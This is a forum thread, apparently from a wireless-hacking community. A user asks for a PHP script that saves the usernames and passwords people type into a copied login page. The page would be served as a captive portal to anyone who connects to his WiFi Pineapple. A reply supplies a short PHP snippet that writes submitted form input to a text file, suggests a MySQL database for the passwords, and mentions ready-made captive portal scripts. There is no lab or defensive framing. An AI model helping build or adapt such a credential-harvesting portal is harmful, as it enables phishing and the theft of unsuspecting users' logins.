Jump to content

Help creating php script for phishing captive portal


carlossousa1994
 Share

Recommended Posts

Hello
Can someone help me create a php script to store credentials writen in a htlm file i copied from an existing page?

My ideia is to redirect everyone who conects to my wifi pineapple to the page (captive portal), i already modified the html so when someone click the Login button it executes a php file (login.php) and the php creates a txt (passwords.txt) where the login and password will be stored but i dont know what code should i write in the php file so it can catch the writen user and pass and store it in the txt.

The files are atached in this post.

Can someone with php and html coding skills take a look and tell me how the php file should be in order to write the user/pass in the txt?


files.rar

Link to comment
Share on other sites

Maybe something like this:

<html>
    <body>
        <form name="form" method="post">
            <input type="text" name="text_box" size="63"/>
            <input type="submit" id="search-submit" value="submit" />
        </form>
    </body>
</html>
<?php
    if(isset($_POST['text_box'])) {
        $a = $_POST['text_box'];
        $myFile = "t.txt";
        $fh = fopen($myFile, 'w') or die("cannot open file");
        fwrite($fh, $a);
        fclose($fh);
    }
?>

You could always store the passwords in a mysql database.

Also I'm pretty sure there are many captive portal scripts you could use or mod.

Edited by vailixi
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...